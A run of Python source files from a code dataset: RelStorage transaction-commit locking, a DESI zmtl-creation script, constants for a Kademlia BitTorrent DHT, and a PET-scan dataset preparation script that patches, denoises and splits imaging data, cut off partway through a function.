self.locker.hold_commit_lock(cursor, ensure_current=True)\n\n # Choose a transaction ID.\n #\n # Base the transaction ID on the current time, but ensure that\n # the tid of this transaction is greater than any existing\n # tid.\n last_tid = self.txncontrol.get_tid(cursor)\n now = time.time()\n stamp = timestamp_at_unixtime(now)\n stamp = stamp.laterThan(TimeStamp(int64_to_8bytes(last_tid)))\n tid = stamp.raw()\n\n tid_int = bytes8_to_int64(tid)\n self.txncontrol.add_transaction(cursor, tid_int, username, description, extension)\n logger.log(TRACE, \"Picked next tid locally: %s\", tid_int)\n return tid_int\n\n @metricmethod_sampled\n def lock_database_and_move(self,\n store_connection, load_connection,\n transaction_has_blobs,\n ude,\n commit=True,\n committing_tid_int=None,\n after_selecting_tid=lambda tid: None):\n # Here's where we take the global commit lock, and\n # allocate the next available transaction id, storing it\n # into history-preserving DBs. But if someone passed us\n # a TID (``restore``), then it must already be in the DB, and the lock must\n # already be held.\n #\n # If we've prepared the transaction, then the TID must be in the\n # db, the lock must be held, and we must have finished all of our\n # storage actions. This is only expected to be the case when we have\n # a shared blob dir.\n\n cursor = store_connection.cursor\n if committing_tid_int is None:\n committing_tid_int = self.lock_database_and_choose_next_tid(\n cursor,\n *ude\n )\n\n # Move the new states into the permanent table\n # TODO: Figure out how to do as much as possible of this before holding\n # the commit lock. For example, use a dummy TID that we later replace.\n # (This has FK issues in HP dbs).\n\n self.mover.move_from_temp(cursor, committing_tid_int, transaction_has_blobs)\n\n after_selecting_tid(committing_tid_int)\n\n self.mover.update_current(cursor, committing_tid_int)\n prepared_txn_id = self.txncontrol.commit_phase1(\n store_connection, committing_tid_int)\n\n if commit:\n self.txncontrol.commit_phase2(store_connection, prepared_txn_id, load_connection)\n\n return committing_tid_int, prepared_txn_id\n\n DEFAULT_LOCK_OBJECTS_AND_DETECT_CONFLICTS_INTERLEAVABLE = True\n WRITING_REQUIRES_EXCLUSIVE_LOCK = False\n\n # Hooks for unit tests.\n force_lock_objects_and_detect_conflicts_interleavable = False\n force_lock_readCurrent_for_share_blocking = False\n\n\n @metricmethod_sampled\n def lock_objects_and_detect_conflicts(self, cursor, read_current_oids):\n if (\n self.force_lock_readCurrent_for_share_blocking\n or self.force_lock_objects_and_detect_conflicts_interleavable\n ):\n # Delegate to the individual statements that can control lock timeouts,\n # or that allow a controlling test to carefully interleave operations to simulate\n # various concurrency situations.\n return self._composed_lock_objects_and_detect_conflicts(cursor,\n read_current_oids)\n try:\n return self._best_lock_objects_and_detect_conflicts(cursor, read_current_oids)\n except self.locker.lock_exceptions as ex:\n # Heuristic to guess.\n # XXX: we should do a lot better. We used to be time based, but since we take\n # exclusive locks first, that's now useless.\n kind = UnableToLockRowsToModifyError\n if self.driver.exception_is_deadlock(ex):\n kind = UnableToLockRowsDeadlockError\n\n del ex\n self.locker.reraise_commit_lock_error(\n cursor,\n self._describe_best_lock_objects_and_detect_conflicts(),\n kind\n )\n return None # unreachable\n\n def _composed_lock_objects_and_detect_conflicts(self, cursor, read_current_oids):\n read_current_oid_ints = read_current_oids.keys()\n\n def after_lock_share():\n current = self.mover.current_object_tids(cursor, read_current_oid_ints)\n # We go ahead and compare the readCurrent TIDs here, so\n # that we don't have to make the call to detect conflicts\n # or even lock rows if there are readCurrent violations.\n for oid_int, expect_tid_int in read_current_oids.items():\n actual_tid_int = current.get(oid_int, 0)\n if actual_tid_int != expect_tid_int:\n raise VoteReadConflictError(\n oid=int64_to_8bytes(oid_int),\n serials=(int64_to_8bytes(actual_tid_int),\n int64_to_8bytes(expect_tid_int)))\n\n self.locker.lock_current_objects(\n cursor, read_current_oid_ints,\n self.force_lock_readCurrent_for_share_blocking,\n after_lock_share)\n conflicts = self.mover.detect_conflict(cursor)\n return conflicts\n\n #: Subclasses that have the ability to implement\n #: :meth:`lock_objects_and_detect_conflicts` in a single database\n #: call, or otherwise do better than our\n #: :meth:`_composed_lock_objects_and_detect_conflicts` implementation,\n #: should override this method. It *must* return a materialized list\n #: of conflicts that supports len() and iterating multiple times.\n _best_lock_objects_and_detect_conflicts = _composed_lock_objects_and_detect_conflicts\n\n def _describe_best_lock_objects_and_detect_conflicts(self):\n return ''\n","repo_name":"zodb/relstorage","sub_path":"src/relstorage/adapters/adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":9059,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"25"} +{"seq_id":"29204924332","text":"\"\"\"\ndesispec.scripts.makezmtl\n=========================\n\n\"\"\"\nimport os\nimport sys\nimport traceback\nfrom desispec.zmtl import get_qn_model_fname, load_qn_model\nfrom desispec.zmtl import get_sq_model_fname, load_sq_model\nfrom desispec.zmtl import create_zmtl, tmark\n\nfrom desispec.io import specprod_root\n\n# ADM set up the DESI default logger.\nfrom desiutil.log import get_logger\n\n\n\n# EBL Handy tileid/nightid combos for testing\n# - 1, 20210406, Note: missing petal 7, good test for skipping bad petal.\n# - 84, 20210410\n# - 85, 20210412\n# For the VI'd tiles using the processed r_depth_ebvair of ~1000\n# TILEIDs: 80605, 80607, 80609, 80620, 80622\n# NIGHTID: All use 20210302 (when I made those files). Date is\n# meaningless in this case, just there due to filename\n# format requirements.\n\nimport argparse\n\ndef parse(options=None):\n # SB default output to $DESI_SPECTRO_REDUX/$SPECPROD\n reduxdir = specprod_root()\n\n # EBL retrieve the file names for the QuasarNP and SQUEzE models\n # from environment variables.\n qnmodel_fname = get_qn_model_fname()\n sqmodel_fname = get_sq_model_fname()\n\n # ADM by default we're working with tiles/cumulative.\n sub_dir = os.path.join('tiles', 'cumulative')\n\n description = 'Create a zmtl file for LyA decisions. Pass (at least) both of '\n description += '--input_file and --output_file OR both of --tile and --night'\n\n parser = argparse.ArgumentParser(description=description)\n\n parser.add_argument('-in', '--input_file',\n default=None,\n help='Full path to an input redrock file. Overrides --tile, \\\n --night, --petal, --input_dir, --output_dir, --sub_dir')\n parser.add_argument('-out', '--output_file',\n default=None,\n help='Full path to an output zmtl file. Overrides --tile, \\\n --night, --petal, --input_dir, --output_dir, --sub_dir')\n parser.add_argument('-t', '--tile',\n default=None,\n help='TILEID(s) of tiles to process. Pass a comma-separated \\\n list (e.g. 1 for TILE 1 or \"1,84,85\" for TILEs 1, 84, 85)')\n parser.add_argument('-n', '--night',\n default=None,\n help='NIGHTID(s) of tiles to process in YYYYMMDD. Pass a comma \\\n -separated list (e.g. 20210406 or \"20210406,20210410,20210412\")\\\n which must correspond to the TILEIDs')\n parser.add_argument('-p', '--petal',\n default=\"0,1,2,3,4,5,6,7,8,9\",\n help='Petals to run. Pass comma-separated integers \\\n (e.g. \"1\" for petal 1, \"3,5,8\" for petals 3, 5 and 8) \\\n Defaults to 0,1,2,3,4,5,6,7,8,9 (all petals)')\n parser.add_argument('-i', '--input_dir',\n metavar='REDUX_DIR', default=reduxdir,\n help='The root input directory to use for DESI spectro files. \\\n Defaults to {}'.format(reduxdir))\n parser.add_argument('-o', '--output_dir',\n metavar='REDUX_DIR', default=reduxdir,\n help='The root output directory to use for zmtl files. \\\n Defaults to {}'.format(reduxdir))\n parser.add_argument('-sd', '--sub_dir',\n default=sub_dir,\n help='The sub-directories that house redrock files. \\\n Defaults to {}'.format(sub_dir))\n parser.add_argument('-noq', '--no_quasarnp',\n action='store_true',\n help='QuasarNP is added by default. Send this to NOT add it.')\n parser.add_argument('-s', '--add_squeze',\n action='store_true',\n help='Add SQUEzE data to zmtl file.')\n parser.add_argument('-m', '--add_mgii',\n action='store_true',\n help='Add MgII absorption data to zmtl file.')\n parser.add_argument('-zc', '--add_zcomb',\n action='store_true',\n help='Add combined redshift information.')\n parser.add_argument('-qn', '--qn_model_file',\n metavar='QN_MODEL_FILE',\n default=qnmodel_fname,\n help='The full path and filename for the QuasarNP model \\\n file. Defaults to {}'.format(qnmodel_fname))\n parser.add_argument('-sq', '--sq_model_file',\n metavar='SQ_MODEL_FILE',\n default=sqmodel_fname,\n help='The full path and filename for the SQUEzE model \\\n file. Defaults to {}'.format(sqmodel_fname))\n\n if options is None:\n args = parser.parse_args()\n else:\n args = parser.parse_args(options)\n\n return args\n\n\ndef main(args=None):\n if not isinstance(args, argparse.Namespace):\n args = parse(args)\n\n log = get_logger()\n\n # ADM by default we're working with tiles/cumulative.\n sub_dir = os.path.join('tiles', 'cumulative')\n\n add_quasarnp = not(args.no_quasarnp)\n\n # EBL Load the QuasarNP model file if QuasarNP is activated.\n if add_quasarnp:\n tmark(' Loading QuasarNP Model file and lines of interest')\n qnp_model, qnp_lines, qnp_lines_bal = load_qn_model(args.qn_model_file)\n tmark(' QNP model file loaded')\n else:\n qnp_model, qnp_lines, qnp_lines_bal = None, None, None\n\n if args.add_squeze:\n tmark(' Loading SQUEzE Model file')\n sq_model = load_sq_model(args.sq_model_file)\n tmark(' Model file loaded')\n else:\n sq_model = None\n\n # ADM if input_file and output_file were added, override TILE/NIGHT.\n if args.input_file is not None or args.output_file is not None:\n if args.input_file is None or args.output_file is None:\n msg = \"if one of --input_file or --output_file is passed then\"\n msg += \" the other must be too!!!\"\n log.critical(msg)\n raise IOError(msg)\n tile=None\n create_zmtl(args.input_file, args.output_file, tile=tile,\n qn_flag=add_quasarnp, qnp_model=qnp_model,\n qnp_model_file=args.qn_model_file, qnp_lines=qnp_lines,\n qnp_lines_bal=qnp_lines_bal, sq_flag=args.add_squeze,\n squeze_model=sq_model, squeze_model_file=args.sq_model_file,\n abs_flag=args.add_mgii, zcomb_flag=args.add_zcomb)\n else:\n # ADM add, e.g., tiles/cumulative to the directory structure.\n input_dir = os.path.join(args.input_dir, args.sub_dir)\n output_dir = os.path.join(args.output_dir, args.sub_dir)\n\n tiles = [int(t) for t in args.tile.split(',')]\n nights = [int(n) for n in args.night.split(',')]\n petals = [int(p) for p in args.petal.split(',')]\n\n numerr = 0\n for tile, night in zip(tiles, nights):\n for pnum in petals:\n log.info(\"processing TILEID={}, NIGHTID={}, petal={}\".format(\n tile, night, pnum))\n try:\n create_zmtl(input_dir, output_dir, tile=tile,\n night=night, petal_num=pnum, qn_flag=add_quasarnp,\n qnp_model=qnp_model, qnp_model_file=args.qn_model_file,\n qnp_lines=qnp_lines, qnp_lines_bal=qnp_lines_bal,\n sq_flag=args.add_squeze, squeze_model=sq_model,\n squeze_model_file=args.sq_model_file,\n abs_flag=args.add_mgii, zcomb_flag=args.add_zcomb)\n except Exception as err:\n numerr += 1\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join(lines))\n log.error(f'Tile {tile} night {night} petal {pnum} failed; continuing')\n\n return numerr\n\n return 0\n","repo_name":"desihub/desispec","sub_path":"py/desispec/scripts/makezmtl.py","file_name":"makezmtl.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"25"} +{"seq_id":"37305748975","text":"# k as used in Kademlia\nk = 8\n\n# The size of the identification number used for resources and\n# nodes in the Kademlia network (bits)\nid_size = 160\n\n# Time after which an RPC will timeout and fail (seconds)\nrpctimeout = 30\n\n# Time after which a high level query (as used in the SimpleNodeProtocol)\n# should timeout (seconds)\nquery_timeout = 60 # 1 minute\n\n# Quarantine timeout: time after which a node is removed from the quarantine\n# (seconds)\nquarantine_timeout = 180 # 3 minutes\n\n# Peer timeout\n# Time after which a peer that has been announced for a torrent will be\n# removed from the torrent dictionary (unless reset by being reannounced)\n# (seconds)\npeer_timeout = 43200 # 12 hours\n\n# Time after which a node is considered stale (seconds)\nnode_timeout = 900 # 15 minutes\n\n# Time between each call to the NICE routing table update algorithm (seconds)\nNICEinterval = 6\n\n# This interval determines how often the DHT's state data will be\n# saved into a file on disk (seconds)\nDUMPinterval = 180 # 3 minutes\n\n# Size of the token (bits)\ntokensize = 32\n\n# Time in seconds after which an offered token (in response to get_peers)\n# will be terminated\ntoken_timeout = 600 # 10 minutes\n\n# Transaction ID size (bits)\ntransaction_id_size = 32\n\n# Failcount threshold: The number of KRPCs a node can fail before being\n# being remove from the routing table (int)\nfailcount_threshold = 3\n\n# Closeness threshold: The notion that determines whether we are close\n# enough to a node to announce_peer() for example\n# Number of common prefix bits (number in range 0 to 160)\n#closeness_threshold = 130\n\n# Bootstrap node\nbootstrap_addresses = [(\"127.0.0.1\", 2323),\n (\"67.18.187.143\", 1337),\n (\"dht.transmissionbt.com\", 6881),\n (\"router.utorrent.com\", 6881)]\n\n\n# Global outgoing bandwidth limit (bytes / second)\nglobal_bandwidth_rate = 20 * 1024 # 20 kilobytes\n\n# Outgoing bandwidth limit per host (bytes / second)\nhost_bandwidth_rate = 5 * 1024 # 5 kilobytes\n\n\n# The default port on which DHTBot will run\ndht_port = 1800\n\n###\n### Internal use\n###\n\n# Time for which the secret used for token\n# generation is changed (this should be greater than or\n# equal to the token_timeout\n#\n# Note: For proper functionality, token_timeout should\n# be a multiple of _secret_timeout\n_secret_timeout = 5 * 60 # 5 minutes\n","repo_name":"gsko/mdht","sub_path":"mdht/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"25"} +{"seq_id":"35948681705","text":"import yaml\nimport os\nimport random\n# from utils import SliceBuilder\nimport SimpleITK as sitk\nimport h5py\nimport shutil\nimport numpy as np\nimport tqdm\n\n# data_nii_path = '/mnt/HDD3/btan8779/Data_nii'\n#\n# tracer_yaml_path = '/mnt/HDD3/btan8779/Challenge_Data/tracer_infor_total.yaml'\n# total_yaml_path = '/mnt/HDD3/btan8779/Challenge_Data/dataset_infor.yaml'\n# siemens_yaml_path = '/mnt/HDD3/btan8779/Challenge_Data/siemens_dataset_infor.yaml'\n# explorer_yaml_path = '/mnt/HDD3/btan8779/Challenge_Data/explorer_dataset_infor.yaml'\n# test_yaml_path = '/mnt/HDD3/btan8779/Challenge_Data/test_dataset_infor.yaml'\n# test_mixed_dataset = '/mnt/HDD3/btan8779/test_dataset'\n# test_test_dataset = '/mnt/HDD3/btan8779/test_dataset/test'\n# # new_dataset_yaml_path = '/mnt/HDD3/btan8779/new_dataset/dataset_infor.yaml'\n# new_dataset_path = '/mnt/HDD3/btan8779/Data_h5'\n# dataset_2d_path = '/mnt/HDD3/btan8779/new_dataset_2d'\n# new_dataset_denoise_path = '/mnt/HDD3/btan8779/new_dataset_denoise'\n# full_test_path = '/mnt/HDD3/btan8779/new_dataset/test'\n# cut_test_path = '/mnt/HDD3/btan8779/new_dataset/cut_test'\n# siemens_patient_path = '/mnt/HDD3/btan8779/Challenge_Data/Subject'\n# siemens_patient_list = os.listdir(siemens_patient_path)\n# # print(siemens_patient_list)\n# explorer_patient_path = '/mnt/HDD3/btan8779/Challenge_Data/Explorer'\n# explorer_patient_list = os.listdir(explorer_patient_path)\n# # print(explorer_patient_list)\n# all_patient_list = os.listdir(data_nii_path)\n# Siemens_dataset_info_path = \"/mnt/HDD3/btan8779/Siemens_dataset_infor.yaml\"\n# explorer_dataset_info_path = \"/mnt/HDD3/btan8779/Explorer_dataset_infor.yaml\"\n\n# test_full_size_path = '/mnt/HDD3/btan8779/new_dataset/test'\n# test_cut_size_path = '/mnt/HDD3/btan8779/new_dataset/test'\n# siemens_2d_path = '/mnt/HDD3/btan8779/CapstoneData/2d_h5_siemens'\n\nclass SliceBuilder:\n \"\"\"\n Builds the position of the patches in a given raw/label/weight ndarray based on the the patch and stride shape\n \"\"\"\n\n def __init__(self, raw_dataset, label_dataset, weight_dataset, patch_shape, stride_shape,type, **kwargs):\n \"\"\"\n :param raw_dataset: ndarray of raw data\n :param label_dataset: ndarray of ground truth labels\n :param weight_dataset: ndarray of weights for the labels\n :param patch_shape: the shape of the patch DxHxW\n :param stride_shape: the shape of the stride DxHxW\n :param kwargs: additional metadata\n \"\"\"\n\n patch_shape = tuple(patch_shape)\n stride_shape = tuple(stride_shape)\n skip_shape_check = kwargs.get('skip_shape_check', False)\n if not skip_shape_check:\n self._check_patch_shape(patch_shape)\n\n self._raw_slices = self._build_slices(raw_dataset, patch_shape, stride_shape,type = type)\n if label_dataset is None:\n self._label_slices = None\n else:\n # take the first element in the label_dataset to build slices\n self._label_slices = self._build_slices(label_dataset, patch_shape, stride_shape,type=type)\n assert len(self._raw_slices) == len(self._label_slices)\n if weight_dataset is None:\n self._weight_slices = None\n else:\n self._weight_slices = self._build_slices(weight_dataset, patch_shape, stride_shape,type=type)\n assert len(self.raw_slices) == len(self._weight_slices)\n\n @property\n def raw_slices(self):\n return self._raw_slices\n\n @property\n def label_slices(self):\n return self._label_slices\n\n @property\n def weight_slices(self):\n return self._weight_slices\n\n @staticmethod\n def _build_slices(dataset, patch_shape, stride_shape,type):\n \"\"\"Iterates over a given n-dim dataset patch-by-patch with a given stride\n and builds an array of slice positions.\n\n Returns:\n list of slices, i.e.\n [(slice, slice, slice, slice), ...] if len(shape) == 4\n [(slice, slice, slice), ...] if len(shape) == 3\n \"\"\"\n slices = []\n\n if dataset.ndim == 4:\n in_channels, i_z, i_y, i_x = dataset.shape\n elif dataset.ndim == 3:\n i_z, i_y, i_x = dataset.shape\n else:\n i_y, i_x = dataset.shape\n\n if type =='3d':\n k_z, k_y, k_x = patch_shape\n s_z, s_y, s_x = stride_shape\n z_steps = SliceBuilder._gen_indices(i_z, k_z, s_z)\n for z in z_steps:\n y_steps = SliceBuilder._gen_indices(i_y, k_y, s_y)\n for y in y_steps:\n x_steps = SliceBuilder._gen_indices(i_x, k_x, s_x)\n for x in x_steps:\n slice_idx = (\n slice(z, z + k_z),\n slice(y, y + k_y),\n slice(x, x + k_x)\n )\n if dataset.ndim == 4:\n slice_idx = (slice(0, in_channels),) + slice_idx\n slices.append(slice_idx)\n elif type =='2d':\n k_y, k_x = patch_shape\n s_y, s_x = stride_shape\n y_steps = SliceBuilder._gen_indices(i_y, k_y, s_y)\n for y in y_steps:\n x_steps = SliceBuilder._gen_indices(i_x, k_x, s_x)\n for x in x_steps:\n slice_idx = (\n slice(y, y + k_y),\n slice(x, x + k_x)\n )\n # if dataset.ndim == 4: # if there are channels\n # slice_idx = (slice(0, dataset.shape[0]),) + slice_idx\n slices.append(slice_idx)\n \n\n return slices\n\n @staticmethod\n def _gen_indices(i, k, s):\n assert i >= k, 'Sample size has to be bigger than the patch size'\n for j in range(0, i - k + 1, s):\n yield j\n if j + k < i:\n yield i - k\n\n @staticmethod\n def _check_patch_shape(patch_shape):\n # assert len(patch_shape) == 3, 'patch_shape must be a 3D tuple'\n # assert patch_shape[1] >= 64 and patch_shape[2] >= 64, 'Height and Width must be greater or equal 64'\n if len(patch_shape) == 3:\n assert patch_shape[1] >= 64 and patch_shape[2] >= 64, 'Height and Width must be greater or equal 64'\n elif len(patch_shape) == 2:\n assert patch_shape[0] >= 64 and patch_shape[1] >= 64, 'Height and Width must be greater or equal 64'\n else:\n raise ValueError('patch_shape must be a 2D or 3D tuple')\n\n\n\ndef denoise(img, weight=0.1, eps=1e-3, num_iter_max=200):\n \"\"\"Perform total-variation denoising on a grayscale image.\n\n Parameters\n ----------\n img : array\n 2-D input data to be de-noised.\n weight : float, optional\n Denoising weight. The greater `weight`, the more\n de-noising (at the expense of fidelity to `img`).\n eps : float, optional\n Relative difference of the value of the cost\n function that determines the stop criterion.\n The algorithm stops when:\n (E_(n-1) - E_n) < eps * E_0\n num_iter_max : int, optional\n Maximal number of iterations used for the\n optimization.\n\n Returns\n -------\n out : array\n De-noised array of floats.\n\n Notes\n -----\n Rudin, Osher and Fatemi algorithm.\n \"\"\"\n u = np.zeros_like(img)\n px = np.zeros_like(img)\n py = np.zeros_like(img)\n\n nm = np.prod(img.shape[:2])\n tau = 0.125\n\n i = 0\n while i < num_iter_max:\n u_old = u\n # x and y components of u's gradient\n ux = np.roll(u, -1, axis=1) - u\n uy = np.roll(u, -1, axis=0) - u\n # update the dual variable\n px_new = px + (tau / weight) * ux\n py_new = py + (tau / weight) * uy\n\n norm_new = np.maximum(1, np.sqrt(px_new ** 2 + py_new ** 2))\n px = px_new / norm_new\n py = py_new / norm_new\n # calculate divergence\n rx = np.roll(px, 1, axis=1)\n ry = np.roll(py, 1, axis=0)\n div_p = (px - rx) + (py - ry)\n\n # update image\n u = img + weight * div_p\n # calculate error\n error = np.linalg.norm(u - u_old) / np.sqrt(nm)\n if i == 0:\n err_init = error\n err_prev = error\n else:\n # break if error small enough\n if np.abs(err_prev - error) < eps * err_init:\n break\n else:\n err_prev = error\n\n # don't forget to update iterator\n i += 1\n\n return u\n\n\nclass tracer:\n\n def __init__(self, yaml_path, patient_list):\n self.fdg = []\n self.dota = []\n self.ga = []\n self.wrong = []\n with open(yaml_path) as file:\n document = yaml.full_load(file)\n for patient in patient_list:\n # print(document)\n # for docuement in documents:\n for dataset_type, case_list in document.items():\n if patient == dataset_type:\n if case_list == 'FDG':\n self.fdg.append(dataset_type)\n elif case_list == 'GA68':\n self.ga.append(dataset_type)\n elif case_list == 'DOTA':\n self.dota.append(dataset_type)\n else:\n print(dataset_type, 'wrong!!!')\n self.wrong.append(dataset_type)\n print('total FDG : ', len(self.fdg))\n print('total 68GA : ', len(self.ga))\n print('total DOTA : ', len(self.dota))\n print('wrong : ', self.wrong)\n\n def dota_list(self):\n return self.dota\n\n def fdg_list(self):\n return self.fdg\n\n def ga_list(self):\n return self.ga\n\n def wrong_list(self):\n return self.wrong\n\n\ndef divide_dataset(dataset_list, ratio_train, ratio_val):\n all_num =len(dataset_list)\n train_list = random.sample(dataset_list, round(ratio_train*all_num))\n rest_list = list(set(dataset_list) - set(train_list))\n val_list = random.sample(rest_list, round(ratio_val*all_num))\n test_list = list(set(rest_list) - set(val_list))\n\n return train_list, val_list, test_list\n\ndef split_dataset(tracer_infor_yaml_path, dataset_yaml_path,type):\n data_infor = {}\n fdg = []\n ga68 = []\n dota = []\n siemens = []\n with open(tracer_infor_yaml_path) as file:\n document = yaml.full_load(file)\n for patient, tracer_type in document.items():\n # print(patient, tracer_type)\n patient_num = int(patient[-3:])\n # print(patient_num)\n if patient_num < 320:\n if tracer_type == 'FDG':\n fdg.append(patient)\n elif tracer_type == 'GA68':\n ga68.append(patient)\n elif tracer_type == 'DOTA':\n dota.append(patient)\n else:\n print('wrong', patient)\n else:\n # print(siemens)\n siemens.append(patient)\n if type == 'siemens':\n # siemens = list(range(321,678))\n # print(siemens)\n siemens_train, siemens_val, siemens_test = divide_dataset(siemens, 0.8, 0.1)\n print('siemens train', len(siemens_train))\n print('siemens val', len(siemens_val))\n print('siemens test', len(siemens_test))\n train_list = siemens_train\n val_list = siemens_val\n test_list = siemens_test\n print('total train ', len(train_list))\n print('total val ', len(val_list))\n print('total test ', len(test_list))\n elif type == 'explorer':\n u_fdg_train, u_fdg_val, u_fdg_test = divide_dataset(fdg, 0.8, 0.1)\n print('u fdg train', len(u_fdg_train))\n print('u fdg val', len(u_fdg_val))\n print('u fdg test', len(u_fdg_test))\n u_ga_train, u_ga_val, u_ga_test = divide_dataset(ga68, 0.6, 0.2)\n print('u ga68 train', len(u_ga_train))\n print('u ga68 val', len(u_ga_val))\n print('u ga68 test', len(u_ga_test))\n u_dota_train, u_dota_val, u_dota_test = divide_dataset(dota, 0.7, 0.1)\n print('u dota train', len(u_dota_train))\n print('u dota val', len(u_dota_val))\n print('u dota test', len(u_dota_test))\n train_list = u_fdg_train + u_ga_train + u_dota_train\n val_list = u_fdg_val + u_ga_val + u_dota_val\n test_list = u_fdg_test + u_ga_test + u_dota_test\n print('total train ', len(train_list))\n print('total val ', len(val_list))\n print('total test ', len(test_list))\n elif type == 'total':\n # siemens = list(range(321,678))\n # print(siemens)\n siemens_train, siemens_val, siemens_test = divide_dataset(siemens, 0.8, 0.1)\n print('siemens train', len(siemens_train))\n print('siemens val', len(siemens_val))\n print('siemens test', len(siemens_test))\n u_fdg_train, u_fdg_val, u_fdg_test = divide_dataset(fdg, 0.8, 0.1)\n print('u fdg train', len(u_fdg_train))\n print('u fdg val', len(u_fdg_val))\n print('u fdg test', len(u_fdg_test))\n u_ga_train, u_ga_val, u_ga_test = divide_dataset(ga68, 0.6, 0.2)\n print('u ga68 train', len(u_ga_train))\n print('u ga68 val', len(u_ga_val))\n print('u ga68 test', len(u_ga_test))\n u_dota_train, u_dota_val, u_dota_test = divide_dataset(dota, 0.7, 0.1)\n print('u dota train', len(u_dota_train))\n print('u dota val', len(u_dota_val))\n print('u dota test', len(u_dota_test))\n train_list = siemens_train + u_fdg_train + u_ga_train + u_dota_train\n val_list = siemens_val + u_fdg_val + u_ga_val + u_dota_val\n test_list = siemens_test + u_fdg_test + u_ga_test + u_dota_test\n print('total train ', len(train_list))\n print('total val ', len(val_list))\n print('total test ', len(test_list))\n data_infor['train'] = train_list\n data_infor['val'] = val_list\n data_infor['test'] = test_list\n print(data_infor)\n with open(dataset_yaml_path, 'w') as file:\n yaml.dump(data_infor, file, default_flow_style=False)\n\n\ndef make_array_into_patches_h5(new_dataset_path, case_num, drf_num, raw_array, label_array, patch_shape=[32, 256, 256], stride_shape=[20, 256, 256]):\n print('make_array_into_patches_h5 function')\n slice_generator = SliceBuilder(raw_dataset=raw_array,label_dataset=label_array, weight_dataset=None,patch_shape=patch_shape,stride_shape=stride_shape)\n raw_slices = slice_generator._build_slices(dataset=raw_array, patch_shape=patch_shape,stride_shape=stride_shape)\n print(len(raw_slices))\n for slice in raw_slices:\n index_num = raw_slices.index(slice)\n cropped_data= raw_array[slice]\n cropped_label= label_array[slice]\n # print(cropped_label.shape,cropped_data.shape)\n slice_data_path = os.path.join(new_dataset_path,case_num+'_'+'drf'+drf_num+'_'+str(index_num)+'.h5')\n # print(slice_data_path)\n save_h5py_file = h5py.File(slice_data_path, 'w')\n save_h5py_file.create_dataset('raw', data=cropped_data, compression='gzip', compression_opts=9)\n save_h5py_file.create_dataset('label', data=cropped_label, compression='gzip', compression_opts=9)\n save_h5py_file.close()\n\n\ndef build_new_drf_dataset(original_dataset_path, yaml_path, new_drf_path):\n i = 1\n with open(yaml_path) as file:\n document = yaml.full_load(file)\n # for docuement in documents:\n for dataset_type, case_list in document.items():\n #the line below should be removed in the end\n # if dataset_type == 'val':\n\n print(dataset_type, \":\", case_list)\n new_dataset_path = os.path.join(new_drf_path, dataset_type)\n print(new_dataset_path)\n if not os.path.exists(new_dataset_path):\n os.makedirs(new_dataset_path)\n else:\n pass\n for case in case_list[0:2]:\n case = str(case)\n case_num = case[-3:]\n # if case_num < 210:\n print(dataset_type, 'patient', case_num)\n for drf in drf_list:\n print('drf number',drf)\n low_dose_data = sitk.ReadImage(os.path.join(original_dataset_path,case,f'drf_{drf}.nii.gz'))\n full_dose_data = sitk.ReadImage(os.path.join(original_dataset_path,case,'Full_dose.nii.gz'))\n width, length = low_dose_data.GetSize()[0], low_dose_data.GetSize()[1]\n print('original size',low_dose_data.GetSize())\n cropped_low_dose_data = low_dose_data[width//2-128:width//2+128,length//2-128:length//2+128:]\n cropped_full_dose_data = full_dose_data[width//2-128:width//2+128,length//2-128:length//2+128:]\n print('after crop size', cropped_low_dose_data.GetSize())\n low_dose_array = sitk.GetArrayFromImage(cropped_low_dose_data)\n full_dose_array = sitk.GetArrayFromImage(cropped_full_dose_data)\n print(low_dose_array.shape, full_dose_array.shape)\n if dataset_type !='test':\n # print(case)\n make_array_into_patches_h5(new_dataset_path,case,drf,low_dose_array,full_dose_array)\n else:\n # print(case)\n case_data_path = os.path.join(new_dataset_path,'drf'+drf+'_'+case+'.h5')\n save_h5py_file = h5py.File(case_data_path, 'w')\n save_h5py_file.create_dataset('raw', data=low_dose_array, compression='gzip', compression_opts=9)\n save_h5py_file.create_dataset('label', data=full_dose_array, compression='gzip', compression_opts=9)\n save_h5py_file.close()\n\n\n print('finished number', i)\n i += 1\n\n\ndef make_array_into_patches_with_single_h5(new_dataset_path, case_num, drf_data_dict, patch_shape=[16, 256, 256], stride_shape=[10, 256, 256]):\n print('make_array_into_patches_h5 function')\n raw_array = drf_data_dict['raw']\n label_dict = drf_data_dict['label']\n slice_generator = SliceBuilder(raw_dataset=raw_array,label_dataset=None, weight_dataset=None,patch_shape=patch_shape,stride_shape=stride_shape,type = '3d')\n raw_slices = slice_generator._build_slices(dataset=raw_array, patch_shape=patch_shape,stride_shape=stride_shape,type = '3d')\n print(len(raw_slices))\n for idx, slice in enumerate(raw_slices):\n cropped_data= raw_array[slice]\n print(cropped_data.shape)\n slice_data_path = os.path.join(new_dataset_path,case_num+'_'+str(idx)+'.h5')\n print(slice_data_path)\n with h5py.File(slice_data_path, 'w') as save_h5py_file:\n save_h5py_file.create_dataset('raw', data=cropped_data, compression='gzip', compression_opts=9)\n # Save labels in the same h5 file\n label_group = save_h5py_file.create_group('label')\n for drf_key, drf_array in label_dict.items():\n cropped_label = drf_array[slice]\n label_group.create_dataset(drf_key, data=cropped_label, compression='gzip', compression_opts=9)\n print(cropped_label.shape)\n\n\n\ndef build_new_drf_dataset_with_single_h5(original_dataset_path, yaml_path, new_drf_path):\n i = 1\n with open(yaml_path) as file:\n document = yaml.full_load(file)\n # for docuement in documents:\n for dataset_type, case_list in document.items():\n #the line below should be removed in the end\n # if dataset_type == 'val':\n\n # print(dataset_type, \":\", case_list)\n new_dataset_path = os.path.join(new_drf_path, dataset_type)\n # print(new_dataset_path)\n if not os.path.exists(new_dataset_path):\n os.makedirs(new_dataset_path)\n else:\n pass\n for case in case_list:\n case = str(case)\n case_num = case[-3:]\n # if case_num < 210:\n # print(dataset_type, 'patient', case_num)\n drf_data_dict = {}\n drf_data_dict['label'] = {}\n for drf in drf_list:\n # print('drf number',drf)\n dose_data = sitk.ReadImage(os.path.join(original_dataset_path,case,f'{drf}.nii.gz'))\n width, length = dose_data.GetSize()[0], dose_data.GetSize()[1]\n # 